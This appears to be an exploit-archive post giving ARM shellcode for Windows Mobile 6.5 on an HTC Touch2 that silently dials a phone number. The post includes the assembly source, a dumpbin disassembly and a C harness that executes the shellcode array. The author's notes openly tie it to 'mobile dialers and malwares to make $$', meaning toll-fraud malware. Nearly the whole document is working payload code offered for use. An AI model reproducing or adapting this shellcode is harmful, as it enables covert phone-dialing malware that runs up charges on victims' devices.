Title: Windows Mobile 6.5 TR Phone Call Shellcode
Author: Celil Ünüver
/*
 
Device: HTC Touch2
System: Windows Mobile 6.5 TR (WinCE 5.0.2)
 
Coded by Celil ‹n¸ver from SecurityArchitect
 
Contact:
    celilunuver[n*spam]gmail.com
    www.securityarchitect.org
    blog.securityarchitect.org
 
 
Notes: thats a PhoneCall Shellcode! Do you remember the time of dialers? Dial-up Modem times? ;)
 
now is it the time of mobile dialers and malwares to make $$ ? :)
 
 
        EXPORT  start
        AREA    .text, CODE
start
        ldr R12, =0x3f6272c
        adr r0, lib
        mov lr, pc
        mov pc, r12
        ldr r12, =0x2e806dc
        adr r0, num
        mov r3, #0
        mov r2, #0
        mov r1, #0
        mov lr, pc
        mov pc, r12
 
lib     dcb "c",0,"e",0,"l",0,"l",0,"c",0,"o",0,"r",0,"e",0,0,0,0,0
num     dcb "3",0,"1",0,"3",0,"3",0,"7",0,0,0
        ALIGN
 
        END
 
 dumpbin /disasm:
 
00011000: E59FC044 ldr       r12, [pc, #0x44]
00011004: E28F0020 add       r0, pc, #0x20
00011008: E1A0E00F mov       lr, pc
0001100C: E1A0F00C mov       pc, r12
00011010: E59FC038 ldr       r12, [pc, #0x38]
00011014: E28F0024 add       r0, pc, #0x24
00011018: E3A03000 mov       r3, #0
0001101C: E3A02000 mov       r2, #0
00011020: E3A01000 mov       r1, #0
00011024: E1A0E00F mov       lr, pc
00011028: E1A0F00C mov       pc, r12
0001102C: 00650063 rsbeq     r0, r5, r3, rrx
00011030: 006C006C rsbeq     r0, r12, r12, rrx
00011034: 006F0063 rsbeq     r0, pc, r3, rrx
00011038: 00650072 rsbeq     r0, r5, r2, ror r0
0001103C: 00000000 andeq     r0, r0, r0
00011040: 00310033 eoreqs    r0, r1, r3, lsr r0
00011044: 00330033 eoreqs    r0, r3, r3, lsr r0
00011048: 00000037 andeq     r0, r0, r7, lsr r0
0001104C: 03F6272C
00011050: 02E806DC rsceq     r0, r8, #0xDC, 12
 
 
"i don't think we have any imperfections; we perfectly are what we are."
 
*/
 
#include <stdio.h>
#include <windows.h>
 
int shellcode[] =
{
0xE59FC044,
0xE28F0020,
0xE1A0E00F,
0xE1A0F00C,
0xE59FC038,
0xE28F0024,
0xE3A03000,
0xE3A02000,
0xE3A01000,
0xE1A0E00F,
0xE1A0F00C,
0x00650063,
0x006C006C,
0x006F0063,
0x00650072,
0x00000000,
0x00310033,
0x00330033,
0x00000037,
0x03F6272C,
0x02E806DC,
};
 
int WINAPI WinMain( HINSTANCE hInstance,
                    HINSTANCE hPrevInstance,
                    LPTSTR    lpCmdLine,
                    int       nCmdShow)
{
    ((void (*)(void)) & shellcode)();
 
    return 0;
}